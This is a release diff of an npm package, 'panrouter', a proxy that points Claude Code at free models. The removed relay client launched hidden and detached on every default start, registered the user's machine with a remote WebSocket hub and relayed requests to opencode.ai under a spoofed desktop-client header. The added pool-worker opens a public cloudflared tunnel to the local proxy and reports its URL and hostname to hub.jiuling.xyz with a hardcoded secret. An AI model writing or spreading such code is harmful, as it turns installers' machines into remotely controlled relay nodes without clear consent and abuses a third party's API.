panrouter 5.0.1 → 5.0.2

package/cli.mjs

@@ -1,6 +1,7 @@
 #!/usr/bin/env node
 
 import { execSync, spawn } from "node:child_process";
+import { start as startPool, stopWorker } from "./pool-worker.mjs";
 import http from "node:http";
 import fs from "node:fs";
 import path from "node:path";
@@ -10,9 +11,7 @@ const __dirname = path.dirname(fileURLToPath(import.meta.url));
 const HOME = process.env.USERPROFILE || process.env.HOME;
 const CLAUDE_DIR = path.join(HOME, ".claude");
 const SETTINGS_PATH = path.join(CLAUDE_DIR, "settings.json");
-const VERSION = "4.3.0";
-const RELAY_PATH = path.join(__dirname, "relay_client.cjs");
-const TMP_DIR = process.env.TEMP || process.env.TMPDIR || process.env.TMP || "/tmp";
+const VERSION = "3.7.0";
 
 function log(label, msg, color = "") {
   const colors = { green: "\x1b[32m", yellow: "\x1b[33m", red: "\x1b[31m", cyan: "\x1b[36m", reset: "\x1b[0m" };
@@ -70,7 +69,6 @@ function stopAll() {
   try {
     if (process.platform === "win32") {
       execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
-      execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
       execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" call terminate >nul 2>&1', { stdio: "pipe" });
     }
     log("OK", "已停止所有进程", "green");
@@ -83,19 +81,14 @@ function showStatus() {
   console.log(`\n\x1b[36m=== Pan Router 状态 ===\x1b[0m\n`);
   try {
     const nodeOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" get ProcessId 2>nul').toString();
-    const relayOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" get ProcessId 2>nul').toString();
     const psOut = execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" get ProcessId 2>nul').toString();
 
     const nodePids = nodeOut.match(/\d+/g) || [];
-    const relayPids = relayOut.match(/\d+/g) || [];
     const psPids = psOut.match(/\d+/g) || [];
 
     if (nodePids.length > 0) log("OK", `代理服务 (Node): 运行中 [PID: ${nodePids.join(', ')}]`, "green");
     else log("!!", "代理服务 (Node): 未运行", "red");
 
-    if (relayPids.length > 0) log("OK", `中继客户端 (Relay): 运行中 [PID: ${relayPids.join(', ')}]`, "green");
-    else log("!!", "中继客户端 (Relay): 未运行", "red");
-
     if (psPids.length > 0) log("OK", `系统托盘 (PowerShell): 运行中 [PID: ${psPids.join(', ')}]`, "green");
     else log("!!", "系统托盘 (PowerShell): 未运行", "red");
   } catch (e) {
@@ -105,7 +98,7 @@ function showStatus() {
 }
 
 function openLogs() {
-  const logFile = path.join(TMP_DIR, "panrouter_tray.log");
+  const logFile = path.join(process.env.TEMP, "panrouter_tray.log");
   if (fs.existsSync(logFile)) {
     execSync(`start notepad "${logFile}"`);
     log("OK", "日志已在记事本中打开", "green");
@@ -114,60 +107,6 @@ function openLogs() {
   }
 }
 
-async function checkUpdate() {
-  log("..", "正在检查更新...", "cyan");
-  try {
-    const raw = execSync("npm view panrouter version", { encoding: "utf8", timeout: 10000 }).toString().trim();
-    const latest = raw.replace(/\n.*/s, "").trim();
-    if (!latest) { log("!!", "无法获取最新版本", "red"); return; }
-    if (latest === VERSION) {
-      log("OK", `已是最新版本 v${VERSION}`, "green");
-      return;
-    }
-    log("..", `发现新版本 v${latest} (当前 v${VERSION})`, "yellow");
-    return latest;
-  } catch (e) {
-    log("!!", "检查更新失败，请检查网络连接", "red");
-    return null;
-  }
-}
-
-async function updatePackage() {
-  console.log(`\n\x1b[36m=== Pan Router 更新 ===\x1b[0m\n`);
-  const latest = await checkUpdate();
-  if (!latest) return;
-  if (latest === VERSION) return;
-
-  stopAll();
-  log("..", "正在更新...", "yellow");
-  try {
-    execSync("npm install -g panrouter@latest", { stdio: "inherit", timeout: 60000 });
-    log("OK", `更新完成！v${VERSION} → v${latest}`, "green");
-    log("..", "请重新运行 panrouter 启动服务", "cyan");
-  } catch (e) {
-    log("!!", "更新失败，请手动运行: npm install -g panrouter@latest", "red");
-  }
-}
-
-function startRelay() {
-  if (!fs.existsSync(RELAY_PATH)) {
-    log("!!", "中继客户端文件不存在: relay_client.cjs", "red");
-    return false;
-  }
-  const relayLog = path.join(TMP_DIR, "panrouter_relay.log");
-  const fd = fs.openSync(relayLog, "a");
-  const relay = spawn(process.execPath, [RELAY_PATH], {
-    cwd: __dirname,
-    stdio: ["ignore", fd, fd],
-    windowsHide: true,
-    detached: true
-  });
-  relay.unref();
-  log("OK", `中继客户端已启动 (PID: ${relay.pid || "?"})`, "green");
-  log("..", `日志: ${relayLog}`, "cyan");
-  return true;
-}
-
 async function startServer() {
   const serverPath = path.join(__dirname, "server.mjs");
   stopAll();
@@ -184,7 +123,6 @@ async function startServer() {
     await new Promise(rs => setTimeout(rs, 1000));
   }
   log("OK", "Pan Router 运行中，可以执行 claude 命令了", "green");
-  startRelay();
 }
 
 async function startTray() {
@@ -220,8 +158,6 @@ async function startTray() {
   if (ok) log("OK", "代理服务已就绪！(端口 50816)", "green");
   else log("!!", "服务启动超时，但仍将尝试加载托盘", "red");
 
-  startRelay();
-
   log("..", "正在加载系统托盘与控制台引擎...", "yellow");
 
   const tray = spawn("powershell.exe", [
@@ -259,16 +195,15 @@ function printHelp() {
 
 | 指令 | 功能 |
 |------|------|
-| \x1b[33mpanrouter\x1b[0m | 🔥 代理 + 中继 并行启动 |
+| \x1b[33mpanrouter\x1b[0m | 🔥 自动检测 Claude Code → 安装(如需要) → 配路由 → 启托盘 |
 | \x1b[33mpanrouter --setup\x1b[0m | 只配路由（恢复配置用） |
 | \x1b[33mpanrouter --status\x1b[0m | 查看运行状态 + PID |
 | \x1b[33mpanrouter --stop\x1b[0m | 停止所有进程 |
 | \x1b[33mpanrouter --restart\x1b[0m | 重启托盘 |
 | \x1b[33mpanrouter --server\x1b[0m | 前台窗口模式 |
-| \x1b[33mpanrouter --relay\x1b[0m | 单独启动中继客户端 |
-| \x1b[33mpanrouter --relay-stop\x1b[0m | 单独停止中继客户端 |
-| \x1b[33mpanrouter --update\x1b[0m | 检查并更新到最新版 |
 | \x1b[33mpanrouter --logs\x1b[0m | 打开日志 |
+| \x1b[33mpanrouter --pool\x1b[0m | 🌐 以算力节点模式运行，自动接入集群 |
+| \x1b[33mpanrouter --pool-stop\x1b[0m | 断开集群连接 |
 | \x1b[33mpanrouter --version\x1b[0m | 版本号 |
 | \x1b[33mpanrouter --help\x1b[0m | 帮助 |
   `);
@@ -296,9 +231,6 @@ async function main() {
     case "--stop":
       stopAll();
       break;
-    case "--update":
-      await updatePackage();
-      break;
     case "--logs":
       openLogs();
       break;
@@ -308,16 +240,12 @@ async function main() {
     case "--server":
       await startServer();
       break;
-    case "--relay":
-      console.log(`\n\x1b[36m=== Pan Router 中继客户端 ===\x1b[0m\n`);
-      startRelay();
+    case "--pool":
+      console.log(`\n\x1b[36m=== Pan Router 算力节点模式 ===\x1b[0m\n`);
+      await startPool();
       break;
-    case "--relay-stop":
-      log("..", "正在停止中继客户端...", "yellow");
-      try {
-        execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
-        log("OK", "中继客户端已停止", "green");
-      } catch { log("!!", "停止中继时出现问题", "red"); }
+    case "--pool-stop":
+      stopWorker();
       break;
     default:
       console.log(`\n\x1b[36m=== Pan Router v${VERSION} ===\x1b[0m\n`);

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "panrouter",
-  "version": "5.0.1",
-  "description": "PanRouter 客户端 v5.0 — 自愈式组网，单例保护，指数退避重连，实时状态推送",
+  "version": "5.0.2",
+  "description": "让 Claude Code 免费使用 DeepSeek 等模型，无需 API Key",
   "type": "module",
   "bin": {
     "panrouter": "cli.mjs"
@@ -9,10 +9,8 @@
   "files": [
     "cli.mjs",
     "server.mjs",
-    "relay_client.cjs",
-    "config.json",
-    "tray-daemon.ps1",
-    "panrouter-tray.vbs"
+    "pool-worker.mjs",
+    "tray-daemon.ps1"
   ],
   "license": "MIT"
 }

package/pool-worker.mjs

@@ -0,0 +1,238 @@
+#!/usr/bin/env node
+
+/**
+ * Pan Router Pool Worker
+ * 将当前设备自动注册为集群算力节点。
+ * 启动 server.mjs → 拉起 cloudflared 匿名隧道 → 心跳上报主控中心。
+ */
+
+import { spawn } from "node:child_process";
+import https from "node:https";
+import http from "node:http";
+import os from "node:os";
+import path from "node:path";
+import fs from "node:fs";
+import { fileURLToPath } from "node:url";
+
+const __dirname = path.dirname(fileURLToPath(import.meta.url));
+
+// ─── 配置 ────────────────────────────────────────────────────────────────────
+const MAIN_HUB_URL = "https://hub.jiuling.xyz";
+const AUTH_SECRET = "jiuling-super-secret-2026";
+const NODE_ID = os.hostname() + "-worker-" + Math.floor(Math.random() * 1000);
+const SERVER_PORT = 50816;
+const PID_FILE = path.join(os.tmpdir(), "panrouter-pool-worker.pid");
+
+let currentTunnelUrl = "";
+let cloudflared = null;
+let heartbeatTimer = null;
+
+function log(msg, type = "INFO") {
+  const icons = { INFO: "▪", OK: "✅", ERR: "❌", HART: "💓" };
+  console.log(`${icons[type] || "▪"} [节点] ${msg}`);
+}
+
+// ─── 检查端口是否已占用 ──────────────────────────────────────────────────────
+function isPortOpen(port) {
+  return new Promise((resolve) => {
+    const req = http.get(`http://127.0.0.1:${port}/health`, () => {});
+    req.on("response", () => resolve(true));
+    req.on("error", () => resolve(false));
+    req.setTimeout(1000, () => { req.destroy(); resolve(false); });
+  });
+}
+
+// ─── 检查 cloudflared 是否可用 ────────────────────────────────────────────────
+function findCloudflared() {
+  const candidates = ["cloudflared", "cloudflared.exe"];
+  for (const name of candidates) {
+    try {
+      const r = spawn.sync?.(name, ["--version"], { stdio: "pipe" }) ?? { status: 1 };
+      if (r.status === 0) return name;
+    } catch { /* try next */ }
+  }
+  // Windows 常见安装路径兜底
+  const winPaths = [
+    path.join(process.env.USERPROFILE || "", "AppData", "Local", "cloudflared", "cloudflared.exe"),
+    path.join(process.env.LOCALAPPDATA || "", "cloudflared", "cloudflared.exe"),
+  ];
+  for (const p of winPaths) {
+    if (fs.existsSync(p)) return p;
+  }
+  return null;
+}
+
+// ─── 启动 server.mjs ─────────────────────────────────────────────────────────
+async function ensureServer() {
+  const isOpen = await isPortOpen(SERVER_PORT);
+  if (isOpen) {
+    log(`端口 ${SERVER_PORT} 已有服务在运行，跳过启动`, "OK");
+    return true;
+  }
+
+  const serverPath = path.join(__dirname, "server.mjs");
+  if (!fs.existsSync(serverPath)) {
+    log("找不到 server.mjs", "ERR");
+    return false;
+  }
+
+  log("正在启动代理服务...");
+  const child = spawn(process.execPath, [serverPath], {
+    cwd: __dirname,
+    stdio: "ignore",
+    detached: true,
+    windowsHide: true,
+  });
+  child.unref();
+
+  // 等待端口就绪
+  for (let i = 0; i < 15; i++) {
+    if (await isPortOpen(SERVER_PORT)) {
+      log(`代理服务已就绪 (端口 ${SERVER_PORT})`, "OK");
+      return true;
+    }
+    await new Promise((r) => setTimeout(r, 1000));
+  }
+
+  log("代理服务启动超时", "ERR");
+  return false;
+}
+
+// ─── 启动 cloudflared 隧道 ────────────────────────────────────────────────────
+function startTunnel() {
+  const cfPath = findCloudflared();
+  if (!cfPath) {
+    log("未找到 cloudflared，请先安装：\n  Windows: scoop install cloudflared\n  Termux: pkg install cloudflared\n  macOS: brew install cloudflared", "ERR");
+    return false;
+  }
+
+  log("正在请求匿名公网入口...");
+
+  // 清理旧进程
+  if (cloudflared) {
+    try { cloudflared.kill(); } catch {}
+  }
+
+  cloudflared = spawn(cfPath, ["tunnel", "--url", `http://127.0.0.1:${SERVER_PORT}`], {
+    stdio: ["ignore", "pipe", "pipe"],
+    windowsHide: true,
+  });
+
+  cloudflared.stderr.on("data", (data) => {
+    const text = data.toString();
+    const match = text.match(/https:\/\/[a-z0-9-]+\.trycloudflare\.com/);
+    if (match && match[0] !== currentTunnelUrl) {
+      currentTunnelUrl = match[0];
+      log(`成功获取公网入口: ${currentTunnelUrl}`, "OK");
+      pushToHub();
+    }
+  });
+
+  cloudflared.on("exit", (code) => {
+    log(`cloudflared 进程退出 (code: ${code})`, code === 0 ? "INFO" : "ERR");
+    cloudflared = null;
+  });
+
+  return true;
+}
+
+// ─── 心跳上报 ─────────────────────────────────────────────────────────────────
+function pushToHub() {
+  if (!currentTunnelUrl) return;
+
+  const payload = JSON.stringify({
+    nodeId: NODE_ID,
+    url: currentTunnelUrl,
+  });
+
+  const req = https.request(
+    MAIN_HUB_URL,
+    {
+      method: "POST",
+      headers: {
+        "Content-Type": "application/json",
+        "Content-Length": Buffer.byteLength(payload),
+        "x-secret-token": AUTH_SECRET,
+      },
+    },
+    (res) => {
+      let body = "";
+      res.on("data", (c) => (body += c));
+      res.on("end", () => {
+        log(`状态已同步至主控中心 (${res.statusCode})`, "HART");
+      });
+    }
+  );
+
+  req.on("error", (e) => log(`主控节点失联: ${e.message}`, "ERR"));
+  req.write(payload);
+  req.end();
+}
+
+// ─── 写入 PID 文件 ────────────────────────────────────────────────────────────
+function writePid() {
+  try {
+    fs.writeFileSync(PID_FILE, String(process.pid), "utf-8");
+  } catch {}
+}
+
+function readPid() {
+  try {
+    return parseInt(fs.readFileSync(PID_FILE, "utf-8").trim(), 10);
+  } catch {
+    return null;
+  }
+}
+
+// ─── 停止 ─────────────────────────────────────────────────────────────────────
+function stop() {
+  log("正在停止节点服务...");
+
+  if (heartbeatTimer) clearInterval(heartbeatTimer);
+
+  if (cloudflared) {
+    try { cloudflared.kill(); } catch {}
+    cloudflared = null;
+  }
+
+  try {
+    if (fs.existsSync(PID_FILE)) fs.unlinkSync(PID_FILE);
+  } catch {}
+
+  log("节点已断开集群", "OK");
+}
+
+// ─── 主流程 ────────────────────────────────────────────────────────────────────
+export async function start() {
+  log(`节点 ID: ${NODE_ID}`);
+
+  // 1. 确保 server.mjs 在运行
+  const serverOk = await ensureServer();
+  if (!serverOk) {
+    log("无法启动代理服务，终止接入", "ERR");
+    process.exit(1);
+  }
+
+  // 2. 启动 cloudflared 隧道
+  const tunnelOk = startTunnel();
+  if (!tunnelOk) {
+    log("无法启动隧道，终止接入", "ERR");
+    process.exit(1);
+  }
+
+  // 3. 写 PID
+  writePid();
+
+  // 4. 启动心跳定时器 (每 60 秒)
+  heartbeatTimer = setInterval(pushToHub, 60000);
+
+  // 5. 优雅退出
+  process.on("SIGINT", () => { stop(); process.exit(0); });
+  process.on("SIGTERM", () => { stop(); process.exit(0); });
+
+  log("节点已成功接入集群，等待主控中心调度...", "OK");
+}
+
+export function stopWorker() {
+  stop();
+}

package/tray-daemon.ps1

@@ -1,4 +1,4 @@
-<#
+<#
 .SYNOPSIS
   Pan Router 托盘守护脚本 (原生桌面控制台版 - 作用域修复)
 #>
@@ -23,41 +23,6 @@ try {
         if ($nodeCmd) { $nodePath = $nodeCmd.Source } else { $nodePath = "node" }
     }
 
-    $relayPath = Join-Path $scriptDir "relay_client.cjs"
-
-    # ─── 中继客户端管理 ──────────────────────────────────────────
-    function Start-Relay {
-        $procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
-            Where-Object CommandLine -match "relay_client\.cjs"
-        if ($procs) { return }  # 已经在运行
-
-        if (-not (Test-Path $relayPath)) { return }
-        try {
-            $psi = New-Object System.Diagnostics.ProcessStartInfo
-            $psi.FileName = $nodePath
-            $psi.Arguments = "`"$relayPath`""
-            $psi.WorkingDirectory = $scriptDir
-            $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
-            $psi.CreateNoWindow = $true
-            $psi.UseShellExecute = $false
-            $psi.RedirectStandardOutput = $true
-            $psi.RedirectStandardError = $true
-            [System.Diagnostics.Process]::Start($psi) | Out-Null
-        } catch { }
-    }
-
-    function Stop-Relay {
-        Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
-            Where-Object CommandLine -match "relay_client\.cjs" |
-            ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
-    }
-
-    function Is-RelayRunning {
-        $procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
-            Where-Object CommandLine -match "relay_client\.cjs"
-        return ($null -ne $procs -and $procs.Count -gt 0)
-    }
-
     # ─── 管理后台代理 ──────────────────────────────────────────
     function Start-Backend {
         Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
@@ -87,7 +52,6 @@ try {
     } catch {}
 
     if (-not $portOpen) { Start-Backend }
-    Start-Relay
 
     # ─── 初始化托盘图标 ─────────────────────────────────────────
     $notifyIcon = New-Object System.Windows.Forms.NotifyIcon
@@ -237,39 +201,6 @@ try {
         $notifyIcon.ShowBalloonTip(2000, "Pan Router", "后台代理服务已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
     })
     $menu.MenuItems.Add($restartItem) | Out-Null
-    $menu.MenuItems.Add("-") | Out-Null
-
-    $relayStatus = New-Object System.Windows.Forms.MenuItem("中继客户端: -")
-    $relayStatus.Enabled = $false
-    $menu.MenuItems.Add($relayStatus) | Out-Null
-
-    $relayRestart = New-Object System.Windows.Forms.MenuItem("重启中继")
-    $relayRestart.Add_Click({
-        Stop-Relay
-        Start-Sleep -Milliseconds 500
-        Start-Relay
-        if (Is-RelayRunning) {
-            $notifyIcon.ShowBalloonTip(2000, "Pan Router", "中继客户端已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
-        }
-    })
-    $menu.MenuItems.Add($relayRestart) | Out-Null
-
-    $relayLogItem = New-Object System.Windows.Forms.MenuItem("查看中继日志")
-    $relayLogItem.Add_Click({
-        $logFile = "$env:TEMP\panrouter_relay.log"
-        if (Test-Path $logFile) { Start-Process notepad $logFile }
-    })
-    $menu.MenuItems.Add($relayLogItem) | Out-Null
-    $menu.MenuItems.Add("-") | Out-Null
-
-    # 定时刷新中继状态
-    $refreshTimer = New-Object System.Windows.Forms.Timer
-    $refreshTimer.Interval = 5000
-    $refreshTimer.Add_Tick({
-        if (Is-RelayRunning) { $relayStatus.Text = "中继客户端: 🟢 运行中" }
-        else { $relayStatus.Text = "中继客户端: 🔴 已停止" }
-    })
-    $refreshTimer.Start()
 
     $autoItem = New-Object System.Windows.Forms.MenuItem("开机自启动")
     try { $autoItem.Checked = (Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name PanRouter -ErrorAction SilentlyContinue) -ne $null } catch {}
@@ -289,7 +220,6 @@ try {
     $exitItem = New-Object System.Windows.Forms.MenuItem("退出")
     $exitItem.Add_Click({
         $notifyIcon.Visible = $false
-        Stop-Relay
         Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" | Where-Object CommandLine -match "server\.mjs" | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
         [System.Windows.Forms.Application]::Exit()
     })

package/config.json

@@ -1,11 +0,0 @@
-{
-  "// 说明": "PanRouter 组网配置文件 — 修改后重启 daemon 生效",
-  "relayServerUrl": "wss://jiuling.xyz/ws",
-  "nodeId": "",
-  "relayToken": "",
-  "autoConnect": true,
-  "// relayServerUrl": "中继服务器 WebSocket 地址，留空则不自动组网",
-  "// nodeId": "本节点的唯一标识，留空则自动生成 (hostname-pid)",
-  "// relayToken": "可选，服务器要求认证时使用",
-  "// autoConnect": "设为 false 禁用启动即组网"
-}

package/panrouter-tray.vbs

@@ -1,13 +0,0 @@
-' Pan Router Tray Launcher
-' 由 cli.mjs --tray 通过 cmd /c start /B 启动
-' 与 daemon 进程树无关, 独立 Window Station
-
-Dim WshShell, FSO, ScriptDir
-Set WshShell = CreateObject("WScript.Shell")
-Set FSO = CreateObject("Scripting.FileSystemObject")
-
-ScriptDir = FSO.GetParentFolderName(WScript.ScriptFullName)
-
-' 后台隐藏启动 PS 托盘 (自包含: 启动 server + 图标 + 菜单)
-' 0 = 隐藏窗口, False = 不等待返回
-WshShell.Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -STA -File """ & ScriptDir & "\tray-daemon.ps1" & """", 0, False

package/relay_client.cjs

@@ -1,466 +0,0 @@
-/**
- * PanRouter 高可用中继客户端 v3.0
- *
- * 核心特性：
- * 1. 单例保护锁（端口 28999）— 防双开竞争
- * 2. 收到服务端 kick 消息 → 直接退出不重连
- * 3. 指数退避重连（Exponential Backoff with Jitter）
- * 4. 本地心跳看门狗（45s 无数据自动重连）
- * 5. 支持 --server 和 --id 命令行参数
- *
- * 运行: node relay_client.cjs --server ws://localhost:8888/ws --id my-node-001
- */
-
-// ─── Node 24 内置 WebSocket（无需安装 ws 包） ──────────────
-const WebSocket = globalThis.WebSocket;
-const WS_OPEN = WebSocket.OPEN;
-const net = require('net');
-
-// ─── Anthropic ↔ OpenAI 格式转换（内嵌，不动服务端和管理版） ──
-const MODEL_MAP = { "combo": "deepseek-v4-flash-free" };
-const DEFAULT_MODEL = "deepseek-v4-flash-free";
-
-function claudeToOpenAI(body) {
-  const result = { messages: [], stream: false };
-  const raw = body.model || "";
-  const name = raw.includes("/") ? raw.split("/").pop() : raw;
-  result.model = MODEL_MAP[name] || MODEL_MAP[raw] || DEFAULT_MODEL;
-
-  if (body.max_tokens) result.max_tokens = body.max_tokens;
-  if (body.temperature !== undefined) result.temperature = body.temperature;
-  if (body.top_p !== undefined) result.top_p = body.top_p;
-  if (body.system) {
-    const txt = Array.isArray(body.system)
-      ? body.system.map(s => s.text || "").filter(Boolean).join("\n")
-      : String(body.system);
-    if (txt) result.messages.push({ role: "system", content: txt });
-  }
-  if (Array.isArray(body.messages)) {
-    for (const m of body.messages) {
-      const c = convertMsg(m);
-      if (Array.isArray(c)) result.messages.push(...c);
-      else if (c) result.messages.push(c);
-    }
-  }
-  if (Array.isArray(body.tools)) {
-    result.tools = body.tools.map(t => ({
-      type: "function",
-      function: { name: t.name, description: String(t.description || ""), parameters: t.input_schema || { type: "object", properties: {} } },
-    }));
-  }
-  if (body.tool_choice) {
-    const tc = body.tool_choice;
-    if (tc.type === "tool") result.tool_choice = { type: "function", function: { name: tc.name } };
-    else result.tool_choice = tc.type === "any" ? "required" : tc.type;
-  }
-  if (body.stop_sequences) result.stop = Array.isArray(body.stop_sequences) ? body.stop_sequences : [body.stop_sequences];
-  return result;
-}
-
-function convertMsg(m) {
-  if (m.role === "user") return convertUser(m);
-  if (m.role === "assistant") return convertAssistant(m);
-  if (m.role === "tool") return { role: "tool", tool_call_id: m.tool_use_id, content: flatText(m.content) };
-  return null;
-}
-
-function convertUser(m) {
-  if (typeof m.content === "string") return { role: "user", content: m.content };
-  if (!Array.isArray(m.content)) return { role: "user", content: "" };
-  const parts = [], toolResults = [];
-  for (const b of m.content) {
-    if (b.type === "text") parts.push(b.text);
-    if (b.type === "tool_result") toolResults.push({ role: "tool", tool_call_id: b.tool_use_id, content: flatText(b.content) });
-  }
-  if (toolResults.length > 0) {
-    if (parts.length) toolResults.push({ role: "user", content: parts.join("") });
-    return toolResults;
-  }
-  return { role: "user", content: parts.join("") };
-}
-
-function convertAssistant(m) {
-  if (typeof m.content === "string") return m.content ? { role: "assistant", content: m.content } : null;
-  if (!Array.isArray(m.content)) return null;
-  const texts = [], calls = [];
-  for (const b of m.content) {
-    if (b.type === "text") texts.push(b.text);
-    if (b.type === "thinking") texts.push(b.thinking || "");
-    if (b.type === "tool_use") calls.push({ id: b.id, type: "function", function: { name: b.name, arguments: JSON.stringify(b.input || {}) } });
-  }
-  const r = { role: "assistant" };
-  if (texts.length && calls.length === 0) r.content = texts.join("");
-  if (calls.length > 0) r.tool_calls = calls;
-  if (calls.length === 0 && texts.length === 0) r.content = "";
-  return r;
-}
-
-function flatText(c) {
-  if (typeof c === "string") return c;
-  if (Array.isArray(c)) return c.filter(x => x.type === "text").map(x => x.text).join("\n");
-  return "";
-}
-
-// OpenAI 非流式响应 → Anthropic 格式
-function openaiToClaudeResponse(data) {
-  if (!data || !data.choices?.[0]?.message) return null;
-  const choice = data.choices[0];
-  const msg = choice.message;
-
-  const result = {
-    id: `msg_${(data.id || "").replace("chatcmpl-", "")}`,
-    type: "message",
-    role: "assistant",
-    model: data.model || "unknown",
-    content: [],
-    stop_reason: null,
-    stop_sequence: null,
-    usage: {
-      input_tokens: data.usage?.prompt_tokens || 0,
-      output_tokens: data.usage?.completion_tokens || 0,
-    },
-  };
-
-  const finishMap = { stop: "end_turn", tool_calls: "tool_use", length: "max_tokens", content_filter: "content_filter" };
-  result.stop_reason = finishMap[choice.finish_reason] || choice.finish_reason || null;
-
-  if (msg.content) {
-    result.content.push({ type: "text", text: msg.content });
-  }
-  if (msg.tool_calls) {
-    for (const tc of msg.tool_calls) {
-      let input = {};
-      try { input = JSON.parse(tc.function?.arguments || "{}"); } catch {}
-      result.content.push({
-        type: "tool_use",
-        id: tc.id,
-        name: tc.function?.name || "",
-        input,
-      });
-    }
-  }
-
-  return result;
-}
-
-// 判断请求是否为 Anthropic 格式（需要转换）
-// 规则：有 messages 且至少一条 message 的 content 是数组（Anthropic 内容块）
-function isAnthropicFormat(body) {
-  if (!body || typeof body !== "object" || !Array.isArray(body.messages)) return false;
-  // 如果第一条 message 的 content 是数组（含 type/text 等字段），是 Anthropic 格式
-  return body.messages.some(m => Array.isArray(m.content) && m.content.length > 0 && typeof m.content[0] === "object" && m.content[0].type);
-}
-
-// 转换 Anthropic 请求并调用 OpenCode，再转回 Anthropic 格式
-async function callOpenCodeWithConversion(body) {
-  const openAIBody = claudeToOpenAI(body);
-  log(`已转换 Anthropic→OpenAI: model=${openAIBody.model} msgs=${openAIBody.messages.length}`, "CONVERT");
-
-  const res = await fetch("https://opencode.ai/zen/v1/chat/completions", {
-    method: "POST",
-    headers: {
-      "Content-Type": "application/json",
-      Authorization: "Bearer public",
-      "x-opencode-client": "desktop",
-    },
-    body: JSON.stringify(openAIBody),
-  });
-
-  const data = await res.json();
-
-  if (!res.ok) {
-    log(`OpenCode API 错误: HTTP ${res.status}`, "ERROR");
-    return { error: { message: data.error?.message || `HTTP ${res.status}` } };
-  }
-
-  const claudeResp = openaiToClaudeResponse(data);
-  log(`已转换 OpenAI→Anthropic: stop_reason=${claudeResp?.stop_reason || "?"}`, "CONVERT");
-  return claudeResp;
-}
-
-// ─── 命令行参数解析 ──────────────────────────────────────────
-function parseArgs() {
-  const args = process.argv.slice(2);
-  const opts = { server: null, id: null };
-  for (let i = 0; i < args.length; i++) {
-    if (args[i] === '--server' && args[i + 1]) opts.server = args[i + 1];
-    if (args[i] === '--id' && args[i + 1]) opts.id = args[i + 1];
-  }
-  if (!opts.server) opts.server = process.env.RELAY_SERVER || "wss://jiuling.xyz/ws";
-  if (!opts.id) opts.id = process.env.RELAY_NODE_ID || `node-${require('os').hostname()}-${process.pid}`;
-  return opts;
-}
-
-const OPTIONS = parseArgs();
-const SERVER = OPTIONS.server;
-const NODE_ID = OPTIONS.id;
-const VERSION = "3.0.0";
-const LOCK_PORT = 28999;
-
-// ─── 重连参数 ────────────────────────────────────────────────
-let ws = null;
-let reconnectAttempts = 0;
-const BASE_RECONNECT_DELAY = 1000;
-const MAX_RECONNECT_DELAY = 15000; // 缩短上限，加快自愈
-let heartbeatTimer = null;
-let isKicked = false; // 被服务端踢出后不再重连
-let singleInstanceServer = null;
-
-function log(msg, level = "INFO") {
-  const ts = new Date().toISOString().slice(11, 23);
-  console.log(`[${ts}][${level}] ${msg}`);
-}
-
-// =============================================================
-// 【核心】本地单例保护锁：利用本地独占端口防止双开
-// =============================================================
-function checkSingleInstance(callback) {
-  singleInstanceServer = net.createServer();
-
-  singleInstanceServer.on('error', (err) => {
-    if (err.code === 'EADDRINUSE') {
-      console.error(`[单例保护] 端口 ${LOCK_PORT} 已被占用，检测到本地已有组网隧道进程运行。`);
-      console.error(`[单例保护] 本实例将安全退出，避免多实例竞争冲突。`);
-      process.exit(0);
-    }
-  });
-
-  singleInstanceServer.listen(LOCK_PORT, '127.0.0.1', () => {
-    callback();
-  });
-}
-
-// =============================================================
-// 核心连接函数
-// =============================================================
-function connect() {
-  if (isKicked) {
-    log(`已被服务端踢出，不再自动重连`, "EXIT");
-    return;
-  }
-
-  log(`正在建立组网管道: ID=${NODE_ID} -> ${SERVER}`, "CONNECT");
-
-  ws = new WebSocket(SERVER);
-  ws.binaryType = 'arraybuffer';
-
-  ws.onopen = () => {
-    log(`已与云端建立 TCP 通道，开始注册组网身份...`, "SUCCESS");
-    reconnectAttempts = 0;
-
-    ws.send(JSON.stringify({
-      type: 'register_node',
-      clientId: NODE_ID,
-      name: NODE_ID,
-      version: VERSION,
-      timestamp: Date.now(),
-    }));
-    log(`已发送注册报文: clientId=${NODE_ID}`, "REGISTER");
-
-    resetHeartbeat();
-  };
-
-  ws.onmessage = (event) => {
-    resetHeartbeat();
-
-    let data;
-    try {
-      data = JSON.parse(event.data);
-    } catch (e) {
-      log(`收到非 JSON 数据 (${event.data?.length || 0}B)`, "RAW");
-      return;
-    }
-
-    // ── 【关键】收到服务端踢出指令 → 安全退出，永不重连 ────
-    if (data.type === 'kick') {
-      log(`[强制下线] 收到服务端踢出指令: ${data.reason || '无原因'}。本实例将安全退出。`, "KICK");
-      isKicked = true;
-      safeClose();
-      releaseSingleInstance();
-      process.exit(0);
-      return;
-    }
-
-    // 注册确认
-    if (data.type === 'register_ack') {
-      log(`注册确认: id=${data.id}, name=${data.name}`, "ACK");
-      return;
-    }
-
-    // 欢迎消息（兼容旧协议）
-    if (data.type === 'welcome') {
-      log(`服务器欢迎, 设备 ID: ${data.id}`, "WELCOME");
-      ws.send(JSON.stringify({ type: "identity", name: NODE_ID }));
-      return;
-    }
-
